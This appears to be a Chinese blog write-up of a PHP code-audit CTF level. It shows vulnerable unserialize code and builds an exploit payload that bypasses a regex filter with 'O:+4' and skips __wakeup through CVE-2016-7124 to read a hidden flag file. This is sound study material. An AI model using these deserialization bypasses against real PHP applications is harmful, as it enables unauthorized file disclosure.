记云演PHP代码审计第一关

学习最好的方法就是记录,所以本次记录为了以后自己复习使用。
第一关代码审计
 <?php 
class Demo { 
    private $file = 'index.php'; 

    public function __construct($file) { 
        $this->file = $file; 
    } 

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the f15g_1s_here.php 
            $this->file = 'index.php'; 
        } 
    } 
} 

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else { 

        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?> 

当看到这段代码时,可以看到提示说flag在f15g_1s_here.php,所以我们要将$file的取值变为f15g_1s_here.php,然后进行反序列化,所以我们需要重新按照程序中的Demo类写一个Demo类,构造一个序列化的payload。

class Demo { 
    private $file = 'index.php'; 

    public function __construct($file) { 
        $this->file = $file; 
    } 

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the f15g_1s_here.php 
            $this->file = 'index.php'; 
        } 
    } 
} 

$test = new Demo('f15g_1s_here.php');
$test = serialize($test);

这里如果直接将值传入,是不行的,因为这里有个正则表达式,具体意思为匹配o\c\oc:1-9(扩展1至无限次),因为得到的结果为o:4,所以可以改为o:+4进行绕过。

$test = str_replace('O:4:','O:+4:',$test);

然后可以进行反序列化,但这里要注意几个PHP魔术方法的作用,
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在了解了这几个魔术方法后,发现我们需要绕过__wakeup(),不然我们的$file就好改为index.php,然而这里可以利用CVE-2016-7124漏洞,即反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

$test = str_replace(':1:',':2:',$test);

最后再进行一次base64编码就OK了,提交payload
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值